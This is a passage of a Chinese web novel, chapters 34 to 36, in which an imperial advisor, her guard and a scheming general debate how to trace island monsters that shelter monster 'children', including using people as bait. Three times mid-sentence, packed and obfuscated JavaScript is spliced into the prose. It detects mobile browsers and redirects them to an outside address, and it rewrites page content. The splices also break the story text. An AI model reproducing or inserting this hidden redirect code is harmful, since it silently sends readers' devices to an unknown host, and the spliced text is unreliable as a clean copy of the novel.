她停了一会儿,似乎在思考着什么,而后道:“但没想到,它们竟然还会‘哺育’同类。” 冷风轻轻吹动她的发尾,露出右耳一小截玄色的流苏坠。 此时正是深夜与清晨将要交替的时刻、距离五日期限的最后一天,也是国师醒来后的一个时辰。 白日里,当国师和影将军商议事情的时候,言生就一直守在屋子附近,想着将这几日了解到的事情都尽数汇报给国师,可左等右等,等到那个罪臣好不容易离开了,国师却已经睡下了。 言生没有办法。比起荒唐又难以解决的谜团,国师的身体当然更重要。于是,她便守在国师身边,直到此时,她才有机会得以汇报这件极其怪诞的事。 而她自然知道国师接下来想问的话,继续道:“影将军发现它们之后,就毫不犹豫地解决掉了其中几人。其他孩子……怪物看到身边同类脑袋破了个血洞的样子,立刻就……” 她顿了顿,难得在为讲述一件事情而绞尽脑汁寻找合适的措辞。又或是因为那件事发生得太过令人不安,以至于只要回想起来,就会觉得脊背发寒。但即便如此,她的声音里也没有过一丝一毫的畏怯或颤抖。 “和那些怪物不同,它们没有撕心裂肺的尖叫,也没有突然发疯攻击他们。只是手脚并用退到了角落里,互相抱在一起,看着他们。” 她陈述道,“但与荒村里那个小女孩好奇又空洞的眼神不同,它们眼睛里只有惊慌和恐惧。身上虽然脏兮兮的,却没有任何狰狞伤口。就像是个真正受到惊吓的孩子一样。” 她犹豫了一会儿,最终还是道:“……所有人都愣了那么一瞬。当时洞里空旷昏暗,它们又躲在角落,火把的光勉强能照到它们当中几人,却照不到远处的尸体。如果不是有人稍微转了下火把,照亮那个面目全非的侍卫,大家甚至都会恍惚觉得,‘他们’是因种种原因被关在那里的可怜孩子。” 萧明灿听着言生沉重的语气,想起了白日醒来时外面发生的那些争执。当时屋内一片混乱,她没能看清那两个被拖走的是什么人,只记得其中一个人喊了几句“害死她”之类的话。 她说:“……看来,他们并没有把它们全都解决掉。” 言生点点头,说:“跟队伍一起的还有三个工部的人,这座海岛的废弃洞穴极多,甚至哪怕是连人弯着腰都进不去的窄洞入口,它们也会因为手脚折断扭曲而轻松钻入……就像蛇一样。他们想着看能不能根据周围的地貌,勘查出是否还有其他地下洞穴或废弃井的可能。” 她道:“后来,当看到它们的眼睛和瑟瑟发抖的模样时,一个官员忽然阻止影将军的人射杀它们。” 不远处的石路上,几个巡逻的人缓缓走过,脚步声在夜里清晰回响。 “……有一个官员提议,把它们活着带回到岛中心去。”言生说。 萧明灿闻言偏头:“带回去?” “是的。”言生看了眼周围整齐坐落的房屋,“它们是这个渔村里的孩子,在这里生活了至少五年,却很少会在雨夜或阴沉天出现。这说明它们不需要狩猎,生存几乎全靠同类的‘喂养’。所以,” 她说道:“他推测,这些孩子对于那群怪物来说,就像兽群里的幼崽一样珍贵。它们整日待在洞穴,意味着即使它们脑袋里有类似群体的记忆,也依旧不会跟着其他怪物去尝试捕猎,因为它们已经习惯待在安全的巢穴,等待同类的‘喂养’。” 也许对它们来说,“生命”或“活着长大”,远比狩猎和同化活人更重要。 为什么? 萧明灿想不出答案。 “所以,”言生继续说:“那个官员的意思是,只要把它们带回岛中心,毁掉这个洞穴,再找个大晴天把‘人’放了,然后派人暗中跟着它们。因为不擅捕猎,又喜欢待在暗处,它们一定会首要寻找能够躲藏的洞穴。而因为晴天的缘故,其他怪物也不可能会主动靠近。它们从来都没有晴天出没的先例。” 她顿了下,说:“所以,他认为,大家即便因为路途曲折或某种危险的原因跟不到最后,至少也能确认那些藏身处大概的位置。” 萧明灿沉吟片刻,说:“这的确比漫无目的地寻找要快得多,也更安全。” 言生说:“他们当场解决了几个试图挣扎的怪物,在它们发出渗人的尖叫声之前,绑了其中三个怪物。安全起见,他们蒙上了它们的眼睛,堵住了耳朵和嘴巴,尽量不让它们知道我们的想法和位置。那个时候已经快日落了,我们想着赶紧下山,本来很顺利的,但……” 她再次望向对岸的山林,沉声道:“一群怪物突然冲过来了。” 萧明灿静静听着她说:“当时大家预感到天黑会不安全,毕竟我们毁掉了它们其中一个‘巢穴’。但完全没想到,它们会因此在还未日落时就突然出现。” 那完全是一场意料之外的袭击。 尽管那些怪物一直对活人,甚至是影将军本人虎视眈眈,但同时,它们也极为惧怕他们手中的武器。檀妄生早在这之前就清理或毁掉过不少怪物巢穴,它们当然“反抗”过,但摇晃的身体在铁弹面前脆弱不堪,手里的破铜烂铁也无法抵挡眼前的刀剑。 那时它们的数量少得可怜,几次失败后索性就放弃了那些活人能够登足的洞穴,转而跑到了荒村后面更险峻、更高耸的山里或礁石边。而后来“同化”的人多了,它们又再次试图进攻,但却没想到一次次深陷檀妄生的诡计。 有时,檀妄生会带着极少的人大摇大摆去寻找巢穴,故意走那些看起来偏僻却不太危险的路来自投罗网。而当那群把目标盯在檀妄生身上的怪物出现时,就会被藏在数十步开外、从各个方位射来的流弹砸得支离破碎。这样的“游戏”大概持续了两三次,它们总算吸取教训,不再轻易上当。 所以,就如同他们会为了对抗怪物而摸索出一套“规则”一样,它们也会为了生存而记下一些无法贸然触碰的界线,比如远离那些火铳和刀剑,比如警惕檀妄生和他那群部下,比如不要在天亮时出现在他们面前。 渐渐的,这种类似于“规则”的东西,让双方形成了一种微妙又诡异的“生存约定”,而打破“约定”的代价就是葬送性命。所以,可想而知,当近五十个怪物在大白天,顶着那副极其晃眼的身体,摇摇晃晃地出现在山林里时,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她和那怪物一同滚下了山。”言生说,“当时怪物发现后,几乎都在往那里跑。事情发生得太突然了,我们只能去帮她脱险。趁着这个间隙,剩下的那两个怪物也挣脱绳子逃跑了。影将军打中了其中一个,但它却没有倒下。” 她说到这,似乎对接下来发生的事感到有些困惑,低声说:“国师……” 她下意识看向四周。 今夜的岛中心格外安静。 安静到当冷风吹过,甚至能听到檐下灯笼刮蹭墙面时发出的细微沙沙声——当孩童渐渐陷入沉睡时,听到旁边大人的轻轻哼唱就会变成这种模糊又莫名感到安然的声音。 但这种场景反而让人生出一丝难以言状的不安来。 似乎除了“恐惧”之外,在这座岛上提及最多的就是“幻觉”——即便深刻知道那些怪物有多么危险,但言生此刻仍不免会陷入一瞬的恍惚——仿佛这里只是宁和又平凡的渔岛,而她们只是短暂地停留在这里的外乡人。 但如同新年守岁般灯火通明的夜里,绝不会像现在这么寂静。而那几处院墙上也不会残留斑驳而暗淡的血迹。 此时此刻,这更像是经历了一场灾难后的短暂喘息。 就和那天一样。 安静,突兀,怪诞,以及毛骨悚然—— “叫声突然之间停止了。” 萧明灿听见言生说道。 “……它们没再试图围攻我们,而是离开了那里。就像是成群的老鼠忽然四散了一样。”言生很难确切描述出当时的场景,“它们消失得无影无踪。那地方一瞬间就安静了,只剩下了遍地鲜血和残肢断臂。那个“孩子”因为被箭钉在了树干上,是唯一一个被留下的怪物。他只能抬头盯着我们。” 周围依然安静。 “我们看到了他嘴里正咀嚼着一块被撕扯下来的肉。”言生看着萧明灿,低声说:“那是影将军部下的手臂。” 34. 怪诞 和某种未知而古怪的生物厮杀后留下的遍地尸骸,那群怪物打破“规则”后疯狂的袭击,又或是厮杀结束后那一刻的死寂。他们想不出究竟哪一个更让人感到惊骇,只觉得隐隐中,似乎有某种无形、巨大的东西,正如同乌云般笼罩着他们。 “它们……” 言生停顿了好一会儿,整理着那些混乱的思路,然后道。 “难道这是它们的天性吗?保护孩子,然后抚养它们长大?但它们真的能平安长大吗?”她神色凝重,“如果不是这样的话,那就说明它们是在学习或模仿那些村民,试着像他们养育孩子那样,去对待同类‘孩子’,或是‘少年’,然后让这演变成了一种……族群的天性。就像狮子,鬣狗……不,更像我们。” 火盆里的木炭噼啪燃烧。萧明灿仍旧站在木栏边,闻言想了想,问:“你觉得它们这么做是为了取代我们?” 言生实话说:“……除此之外,属下实在想不到更贴切的解释了。” 萧明灿缓缓点头,“我也是这么想的。也许,它们的确想要取代我们。但是,”她又说:“它们取代我们的前提是要先利用恐惧摧毁我们,因为它们需要我们的身体。这是它们立足在这世上的重要条件。” 言生难以置信道:“……就像是一场‘覆灭’。” “对于我们而言,这是一场覆灭。但对于它们来说,这是一次新生。” 萧明灿双手轻轻压在木栏上,看着缠着五指的纱布,“当它们夺取活人身体的那一刻,就代表着一个同类在它们的族群中‘降生’。所以,恐惧和绝望本身就能使它们孕育和诞生。而这就意味着,族群中孩子的意义在它们看来并不是那么的重要。与孩子相比,恐惧才是它们未来的希望。” 那么,养育“孩子”对于它们来说,到底有何意义? 言生抱着剑,道:“如此的话,它们之所以在五年里用肉来‘养育’那几个洞穴里的孩子,只是因为那些村民曾这么做,所以它们也这么无意识地照做了?可是……” 她感到有些困惑和怪异,“那日下午,它们的确是因为我们带走了孩子,才突然打破‘界线’,发疯了似的攻击我们。但当那几个怪物孩子逃跑后,它们又像是从梦中惊醒一样突然全都逃走了。” 难道这仅仅只是因为它们观察了村民保护孩子和当孩子陷入危险时的举动,有样学样地照着他们来表现,以此让它们看起来更像一个‘人’吗? 毕竟它们看起来邪恶又单纯,就像是个喜欢拿着菜刀给木偶做开颅术“治病”的稚儿一样,总是因为看起来最简单、最纯真的目的,做出一些让人无法理解的怪诞行为。让人时不时感到毛骨悚然。 “应该不止是这样。”萧明灿说:“还记得那个雨夜吗?你们应该也碰到了那些哼唱歌谣的孩童。虽然它们当中混杂着几个四肢尽断的人,但其中不乏也有真正的孩子,甚至是比洞穴里更年幼的孩子。同样是孩子,为什么它们需要‘狩猎’,而那几个孩子却只是藏在洞穴,等待着‘大人’的喂养?” 是因为它们只是单纯地想要像人一样试图去“养育”孩子,还是因为洞穴里的那些孩子对于它们来说,就如同幼儿对于父母一般,有什么值得被照顾和保护的特别之处? 言生陷入沉思。 萧明灿想起了什么,忽然问:“……它们身上真的没有任何伤口吗?” 言生说:“它们的脸上和腿脚的确没有什么严重的伤口,虽然有些伤疤,但也只是磕碰留下的小伤。不过它们身上的袍子都脏得不成样子,散着一股腥臭,大家都以为会把它们顺利带回岛中心,也就没在半路上费力去仔细查看四肢之外的伤。” “身上没有任何明显伤口、在危险来临时会伪装得像个真正的孩童、懂得简单地观察局势,在被绑住前不挣扎不反抗、能让那群怪物不计代价地跑出来救‘人’……” 萧明灿沉吟片刻,说:“这几个‘孩子’和三个月前混入岛中心的那些怪物很像,或者说,看起来比它们更聪明。” 言生想起了刚才听国师简短提起的那些关于怪物们“族群”的假设,“……如果按国师说得那样,它们是一个整体,而拥有的‘能力’并非同等,那么,引领它们狩猎的,会不会就是那些像孩子一样的怪物?” 但是…… “但是其中一个‘孩子’被抛下了。”萧明灿说道。 她望着对岸的山林。临近破晓,天色已经隐隐泛出些苍白的光亮,但依旧无法驱散林中的黑暗,只露出了山顶枯树张牙舞爪的枝条。因为天色微亮,半山腰的雾气越加明显,随着阵阵凉风轻微浮动,如同一只只没有具体形态,却能躲在树后窥视的幽魅。 “有可能是因为它们身受重伤而失去了价值,就像野兽抛弃脊椎被咬穿的幼崽,就算它们拼尽全力,也只能得到最不幸的结果,然后做出最有利的选择。” 萧明灿的声音轻和而平静,“有可能是因为那个真正能够引领它们的怪物藏在了一众孩子里。不是那个被钉在树上的少年,也不是死在洞穴里的那群孩子。” 言生脑中回想着剩下两个趁乱逃走的怪物,试图找到它们当时流露出的任何细节。 萧明灿说:“具体是哪种,我们也只能等找到那个孩子再说了。” “如果真是如此,我们已经不慎打草惊蛇,恐怕它们接下来会将那些‘孩子’藏在更隐秘的洞穴。”言生觉得棘手,“况且,唯一能接近它们的方法只有食物。我们不能保证每一次它们都会把眼前的食物带走,而不是就地瓜分吃掉。” 萧明灿赞同地点了点头,“岛上的怪物不尽其数,我们也没有那么多的食物能供它们饱腹。” 言生也觉得如此,“总不能真把活生生的人丢给它们……” 她叹气叹到一半,忽然想起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012096|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,转头看向岛中心。 从哨塔往下看,岛中心的院落布局错落有致,四周几条绵延的石路都通向了岛的正中央。那里坐落着足有两个宅院那么大的屋子,修建得庄重严肃,门外摆着一座孩童单手抱着大鱼的石像,似乎曾经是村民们的议事堂。而如今已经成了畜舍。 言生顿了顿,然后说:“我们也许可以用那几头——” 她话音猝然一停,看向余光里的那道黑影。 “我劝大人不要打它们的主意。”他说。 檀妄生就站在距离哨塔不远的院墙边,手里拎着那把长管铳,食指轻轻搭在扳扣上。萧明灿转过身。他的身边还跟着两个部下,一个眼睛带着伤疤,始终手压佩刀,一个身形健壮,专注地观察四周,神情沉稳。 言生把刀挂在腰侧,冷声道:“将军现在都敢偷听国师讲话了吗?” 檀妄生稍抬双手,做出冤枉的动作,不过在两人眼里,那看起来更像是一时兴起的扮演。他就这么仰视着国师,语气无比真诚:“国师明鉴,这里离哨塔那么远,如果不大点声讲,根本什么都听不清。我也是刚刚赶到。不过,” 他把目光轻松地投向言生。 仿佛看到恶鬼似的,一瞬间,言生本能地握紧佩刀。她几乎一眼就能看见那带着笑意的眼神里隐藏着的某种东西,那是类似愚弄般的杀意。而他此刻的声音依旧懒洋洋的:“当我看到大人的眼神时,就能猜到大人在想什么。因为上一批登岛的侍卫们也是如此,他们想利用它来引诱怪物出现。” 言生皱眉,下意识问:“你把他们怎么了?” “我们达成了一种让彼此利益最大化的共识。”檀妄生说:“它们会安然无恙地活着,而作为酬劳,他们不会成为我下一顿的晚饭。” 萧明灿微微挑了下眉。尽管那在逆光下并不显眼。 言生冷笑一声,始终虚挡在国师身前,“将军现在已经丧心病狂到想要吃人了吗?” 檀妄生说:“我的意思是,不要做事倍功半的麻烦事。屠杀爆发的那个雨夜,数十人跑出了岛中心,不过短短几个时辰的功夫,大多数人连一条胳膊都找不到。大人觉得,仅仅只是几头猪几只鸡,就能让我们知道它们的老巢吗?这么做的话,只会白白浪费支撑我们后半生的丰盛晚饭,别无好处。” “这是唯一的办法了。”言生道:“将军有何高见?” 檀妄生看向萧明灿,“这要看国师的想法了。” 萧明灿并没有直接回答,“看来将军笃定我会帮你。” 檀妄生笑了笑,“那两艘船上几乎都是太傅的人,无论国师还是皇上,对于两位来说,他们来此的目的不就是在该‘为国效命’的时候就壮烈牺牲吗?” 言生微微拧眉。 檀妄生看着那张被阴影遮挡的面容,“在两位眼里,他们的命恐怕还没有那几头猪重要吧?” 35. 智者 “……将军说笑了。” 萧明灿依旧站在背光里,附近的火把在那件狐裘上描绘出轻淡的剪影。她略微低头,似乎在端详着檀妄生,又像是在遥望周围空荡荡却点着灯笼的屋子。 片刻后,她平和地说:“无论他们是太傅的人,还是为其他人效命,在我看来,都是万分珍贵的生命。尤其是在这座岛上。” “……正因为生命可贵,才更应该用在有价值的地方。” 檀妄生微笑着说,“那几个藏在洞穴中的‘孩子’是我们能了解到那群怪物的关键。只要找到它们,我们或许就能知道那群怪物的弱点,也不必再躲在岛中心像个虔诚的信徒一样,日日夜夜等待着第二艘小木船为我们‘指引’洞穴的方向了。” 言生心下渐沉。 虽然不想这么做,但她不得不承认,影将军说得确实有道理。只有弄清那几个“孩子”对于那群怪物来说意味着什么、有多么重要,他们才能更了解那些怪物,找出解决这群嗜血野兽的方法。而且,他们已经没有时间去被动地等待下一次机会降临了。 如今那群怪物正一点一点渗透到皇城当中,言生很难不去想它们是否也潜入了周边几座重要的小城。那两位夫人的“意外”身亡就发生在两个月之前,那么她和国师出海的这两个月期间,又会有多少人惨遭“意外”? 所以,这也许听起来残忍,不择手段,甚至和那些怪物一样疯狂,但正如每个人所想的那样,这是唯一能让怪物带他们找到巢穴的方法。哪怕是宫里的人,面对这种难题,应该也会这么做—— 这就像是一场战争,一场必死但成果显著的战争。而他们要做的就是为这场战争征召死士。 但唯一的问题是…… “这座岛上最初的怪物只有那些村民,后来,它们的队伍里渐渐出现了将军的人,再后来是官员,侍卫。”萧明灿望着周围灰蒙蒙的山林,缓缓说道,“这就说明,它们虽然会把人当成饱腹的食物,但同时,也会优先选择把活人转化为自己的同类。” 她将目光转回到檀妄生身上,冷风轻轻吹动着刚及肩胛的黑发,“所以,将军应该比任何人都清楚,在它们刚刚损失了一小半同类之后,这种‘重振’族群的想法会比饱腹更加迫切。如果我们把他们当成诱饵,到最后很有可能会让他们反过来成为攻击我们的怪物。” ——没错,的确是这样。 言生后知后觉地想道。 自从登岛后,她见到的只有怪物们虐|杀一般触目惊心的行径,经历的也只有逃脱怪物的追杀,后来注意力又一直集中于那些“孩子”身上,以至于几乎都快忘记了,这群怪物对于活人来说不单单只是进食那么简单。它们会像疫病一样让恐慌在人群里蔓延,然后把人变成和它们一样狰狞扭曲的怪物。 再加上之前推想过的那样,他们在带走那些小怪物时已经打草惊蛇,就算再放置诱饵,他们也未必能确保怪物不会把食物当场瓜分,也无法确保它们不会把食物藏去其他无关紧要的巢穴,更没办法保证他们一定能顺着食物的标记,找到山里更加陡峭危险的洞穴。 毕竟,整个岛中心加一起也只有四十余人,光负责岛中心的四周防守至少就需要十五人。而从这几日遇到的怪物来看,他们将要面对的怪物数量恐怕是他们的五倍不止。 所以,如果之前把这当作唯一办法的话,那么加上如今这一点,就是希望渺茫的死局——这感觉就像是海底捞针,或许你真的有可能在浅滩边找到那根珍贵的针,但更有可能的是你会被卷进海浪之中。 而这也就引出了另一个疑问,既然影将军作为这座岛上最了解怪物的人,比任何人都清楚这么做的后果,为何还要避重就轻地提议这一茬? 这对他有什么好处? 难道这又是一场考验吗?就像在登岛时他所做的那样,一时兴起地布下谜题,然后看着旁人陷入到谜题当中,为了那点残缺的线索焦头烂额,如同热锅上的蚂蚁一样团团转。 又或者是另一场崭新的游戏?无聊却又危险至极。而比起这场游戏对他而言到底意义着什么,更令人感到不寒而栗的是,她们明明清楚自己已经深陷进一场游戏当中,却不知道该如何脱身。 思及于此的时候,言生正紧盯着檀妄生搭上扳扣的食指。萧明灿仍站在暗影里。而当下正处在那种熟悉而微妙的僵局中——比起剑拔弩张,这更像是一种试探。没由来的,萧明灿想起了两群初次见面的小猫,绷起尾巴盯着对方的模样。 接着,言生的拇指无声顶开刀鞘。 眼上带着刀疤的随从朝远处稍一点头,守在吊桥边缘的几人开始搬动尖木横栏。脚步声在寂静里隐隐回荡。 “……我还以为国师会爽快地答应。” 片刻后,檀妄生耸耸肩,似乎觉得有些可惜,“这事无论成功与否,对于皇上而言,能借此铲除掉太傅的一些杂余势力,都不算是坏事。” “对皇上而言也许是件好事,但对我而言,就是一件棘手的麻烦事了。” 萧明灿心平气和地说,“他们当中也许有太傅的人,但离开皇城后,他们的一切行动都只能听命于我。如果我让他们用性命冒险,最后却反而让结果变得更糟,他们定然会认为我这么做是出于某种私心。” “私心”或许仅仅只是最轻微的说法。 言生恍然般想道。 船队上的人当然可以为了国师上刀山下火海,就像他们在登岛前的甲板上说出的那些话一样。但那时他们只清楚影将军的残暴,却不知道岛上的那些用血肉尸骸包裹着的秘密。而一旦他们知道了怪物的存在,这一切都会变得不同。 熟悉之人狰狞的面孔,它们口中怪诞而无法忽视的话,身边人一个接一个走向惨烈死亡的场景,随时会被同化和分食的恐惧,无法逃离也无法避免的末日。这些超出认知的恐惧将会时刻缠绕着他们,他们很快会开始尝试寻找真相,寻找办法,就像先前登岛的那两批船队。 唯一与之不同的是,这次他们有国师坐镇。 国师总能化解那些扑朔迷离的难题,就像她在皇城为皇上所分忧的那些事,就像三年前的营啸事件。这种极端恐惧的处境下,他们一定会将希望寄托在国师身上,国师可以让他们用性命冒险,比如这次所提议的“以身做饵”,把这避重就轻地比作“值得付出代价”的一战。 当然,他们可以成为一具残骸,一个被夺去身体的怪物,这场仗可以输得一塌糊涂,他们没有找到洞穴,没有得到任何有用的情报。国师也会出现失误,这是完全可能发生的事实。而接下来的事情会逐渐摧毁他们这种“希望”。 这之后岛上的情况会走向能够预见的恶化,人手不够,怪物增多,时间流逝。他们会反复回想那失败的一战,试图从中找到些值得深挖的细节。很快,他们看着那场“战争”之后血淋淋的结果,会涌现出一个新的疑问—— 这到底是国师迫不得已的选择,还是铲除异己的手段? 那真的是“唯一的办法”吗? 言生很难再想象出接下来会发生什么。但疑心生暗鬼,也许因为岛上局势恶化,他们会相互猜疑,感到恐慌,逐渐失控,最终重蹈上一批押送队伍的覆辙,再次用惨烈的伤亡为影将军提供线索。也许会……如果国师没有在这种濒临崩溃的局势找到能够对抗怪物的方法,或是线索,就会出现这种近乎是死局的情况。 这就是关键所在——“办法”。 消息传到皇城后,太傅很有可能会利用这一点来对付皇上。从营啸爆发开始,国师亲自出马让那个罪臣开口、皇上力排众议保下影将军、岛上的押送队伍接连失踪,再到皇上派国师亲自登岛——难道这是一场筹划数年的阴谋吗? 就像皇上曾用十年时间将那些蛀虫一般的朝臣清出朝堂一样,这一次她是否也在利用“妖怪”来除掉那个一直引她忌惮的太傅? 言生很难去想到了那时皇城里的怪物会渗透到何种地步,只知道,如果国师始终没有找到有效的解决方法,那么就会被不可避免地推向风口浪尖——国师会在此之中扮演着什么? 或者说,会落得什么样的结局? 一个帮助皇上操控妖怪的佞臣?罪臣的共犯?制造怪物的罪魁祸首?一个顶下祸国罪名、被皇上用之即弃的棋子? 言生感到有些眩晕,就像是站在悬崖边缘。她下意识握紧了刀,似乎这对她来说是保护国师的唯一办法。 这是太傅的用意吗?还是仅仅只是个巧合? “……如果换个方式来看,对国师来说未必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028503|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是件坏事。” 檀妄生向哨塔走去,说,“不妨把它看成是一场赌局,他们现在对那些怪物还不够了解,只要国师隐瞒些真相,他们就会跟个傻小子似的把它们当成鬣狗一样的野兽,危险,恐怖,但并非不能解决。他们会一腔热血、毫无怀疑地听从国师的话。” 远处吊桥上,几人在挪动最后一道横栏。 檀妄生说:“而计划一旦成功,国师不仅能顺理成章地除掉太傅的一些势力,还能得到至关重要的线索。” 萧明灿走向哨塔的木梯,没有说话。 “至于若是失败……”檀妄生笑了笑,说:“接下来会发生什么,谁都无法准确预料。说不定我们会在这场失败中找到一些其他线索呢?毕竟当初谁也不知道,那艘小木船会带给我们如此惊喜。” 他站在木梯边,伸出手。萧明灿只看了一眼,就将缠着纱布的手压在他的掌心,踩在了地上,动作自然到仿佛他们本就是可以做这种事的亲密关系。她抬眼看向吊桥,轻声说:“岛上局势本就危险万分,要深思熟虑,才能保命。” 檀妄生新奇地看着她,“……我以为国师是那种会为了皇上丢掉性命,也不会多说一句的忠臣。” 萧明灿声音依旧随和,“要活着才能为皇上更长久地为皇上效命。仅仅只为了一点轻微的功劳就赌上性命,在我看来,那是‘愚忠’。” 檀妄生说:“我猜,国师其实想说的是‘卒子’。” 临近破晓,天色泛着一点儿苍白而暗淡的光,像是某种盯着海岛看的巨物终于睁开了眼睛。阴影尚未彻底散去,山林里渐渐浮现出枯树模糊的轮廓。一片安静里,只有靴底踩压地面发出的轻微声响。 当走到桥中心时,萧明灿稍稍慢下了脚步,看着檀妄生逐渐走远的背影。单薄的白雾在远处必经之路的尽头缓缓浮荡,她忽然想起了皇上说过的那句话。 “智者熟悉迷雾,会想办法将其攻克,而狡诈者会利用迷雾,故意深陷其中。国师觉得,檀妄生会是哪种?” 萧明灿还记得自己当时并没有直接回答,只是说:“三个月来,先后两批船队皆音讯全无,仅仅只靠檀妄生一人所为实在有些牵强。也许和三年前的营啸有关,需要臣去查清吗?” “不。” 李意真说,“朕曾派人调查过那件事。鬼神,巫术,蛊毒,只有这些能勉强解释军营里发生的怪事。但这不过都是些装神弄鬼的把戏。朕能比得过那些皇兄,是因为朕手里的弓,而不是整日向鬼怪祭祀念咒,搞些巫蛊之术的名堂。朕不相信朕的江山会被一群虚无缥缈的鬼怪所倾覆。” 萧明灿静静听着。 “况且,它们就算是鬼怪,也只能以肉体凡胎现身。”李意真看向桌上的折子。屋内陷入短暂的静默。而后,她平静地说:“比起真相,朕更需要他手里的那个东西。那才能助朕守住江山。” 萧明灿看向檀妄生手里的火铳。 萧明灿道:“皇上觉得,他是奸诈之人。” 李意真说:“这意味着国师的下场很有可能和先前登岛的人一样。甚至比他们更惨。因为你很难猜透他的真实想法,甚至是他到底勾结了谁,站在迷雾里的人都有谁。国师在登岛之前,甚至是对檀妄生这个人都一无所知。” “与迷雾牵扯久了,自己也会在不知不觉间被迷雾吞噬。”萧明灿声音一如既往地温和,“臣想,臣要面对的并非是迷雾和善用迷雾的奸诈者,而是迷雾本身。” 李意真指尖轻叩着桌面,虎口一层薄茧在袖口下若隐若现。 良久后,她问:“国师想怎么做?” “我会帮将军的。”萧明灿忽然说。 檀妄生停下脚步,看向她。 两人隔着几步远的距离,檀妄生站在火把照不进的昏暗里,萧明灿站在桥上。冷风吹起两人的衣摆。 “我知道。” 他露出一个轻松的微笑。就像骗在面对目标时说出的一句得心应手的谎言,就像流连于酒楼的少爷对在面对身边人的质问时,从容地说出一句“我爱你”。 萧明灿认真地看着他,眼底映着远处山林里的树影,没有一丝光亮。 “也许,我们不需要见到那个孩子,就能知道它对于怪物们来说意味着什么。” 36. 安乐窝 檀妄生知道当自己听到这句话时露出了怎样的神情——茫然,惊讶,一丝转瞬即逝的无措,加上一点真情实意的期待,就像一个迷路已久的孩子终于看到了路过的大人。 尽管只是一瞬间,但毫无疑问地流露出了他的真实想法:没有丝毫的伪装。他确实需要一个答案。尽管他掌控着这座岛,对待那些潜伏四处的怪物就像牧羊人和羔羊一样得心应手,但他仍旧需要帮助—— 这不再是虚情假意一样的请求,而是流露出了一个微小的、却足够引人注意的弱点,他并非能掌控整座荒岛,他也有无法控制的某种东西。 他不清楚这会让国师意识到什么,又能顺着这个细节察觉出什么,或者说,他的注意力并不在这儿,而是作出这种表情后随之涌起的一种微妙且难以言喻的情绪。这种感觉并不陌生。 同时,他想起了三年前在刑狱的那段日子。 说实话,大多数活着从那里出来的人都会强迫自己忘记这段经历——因为那些生不如死的酷刑,自己发出动物般哀嚎的屈辱,暗无天日又长满青苔的牢房,又或是看着那些破布袋似的尸体一个接一个被抬出牢房时,深刻意识到死亡逼近的恐惧。 但檀妄生是个例外。他不仅没有强迫自己忘掉这段记忆,甚至还经常回忆美梦般地去回味它——或者说,并不厌恶去想起它。当然,他没有那种喜欢自我虐待的癖好。那地方简直糟糕到超乎想象,就像是话本里描述的地狱,对他来说也是如此,更何况他在前不久还经历了一场极其惨烈的自相残杀。 如果不是因为国师,那一定也会成为一段在他踏进坟墓前,一句也不想主动提及的过往。 如果不是因为国师。 他仍记得当时她坐在自己面前的样子。 端庄,从容,没有上位者的傲慢,没有时刻计算对方价值的审视。烛火下,她的眼里总是闪着随和而专注的光芒,每一天都是如此。就像那地方是某个被阳光映照的茶楼雅间,而她则是那个永远会让人感到舒心的邀请者—— 就算迟到了也没有关系。你可以说出任何难以启齿的心里话,讲一些对旁人来说算得上失礼的闲谈议论。她总会原谅你,并且做一个令人安心的倾听者。 ——掌控感。 当檀妄生注意到了她与周围格格不入的亲和,甚至为此联想到这一切时,就已经成为了她能够掌控的事物之一。 他不再是等着让皇上和太傅因利益相争而对他的性命做出让步的操控者,这里不再是阴暗潮湿的赌局,而是和谐静谧的茶楼——就像是一场棋局覆盖了另一场棋局,两伙兽群争抢同一块领地。 他知道这位国师已经猜到了他这段时间闭口不言的目的。而他也清楚她心里那点打算。无非是用些酷刑来折磨他,顺便挡住太傅伸过来的手脚,告诉他皇上才是掌控这一切的人,除此之外,他谁都指望不上,也别想再耍小聪明。然后让皇上在这场“谈判”里占据上风,尽最大限度地拿到好处。 他始终未曾中断和她的目光接触。四周安静到能清晰听到狱卒紧张的呼吸声。很难去形容那到底是什么感觉,被挑衅后上涌的敌意?伤口阵阵刺痛时激发的某种愤怒?计划被突然打乱后升起的危机感?或是对国师这个人的好奇? 就像捕猎者终于看到了盼望已久的猎—— 对手。 檀妄生想起了年少时被老头子硬塞进学堂里的那段日子。比起整日坐在桌子后面安稳地背书,他总是更喜欢在军营沙地里跟着那群士兵耍弄刀剑。但此刻,他忽然理解了那些人为什么会为了一点学问就把对方当成敌人一样拼命。 那是一场不需要任何刀剑的战争。一种奇异而陌生的胜负欲在他心底作祟。他想要知道国师到底能坚持到多久,仅仅只是日复一日地坐在这里看着狱卒动刑吗?他看着她明亮又总是充满包容的双眼,想要探知这个人亲和伪装下究竟藏着怎样不为人知的面目。 他能闻到空气里弥漫的血腥味。他看着她轻轻摩挲扶手的指尖,笃定她一定也是个疯子。 就像传闻里的“影将军”一样。 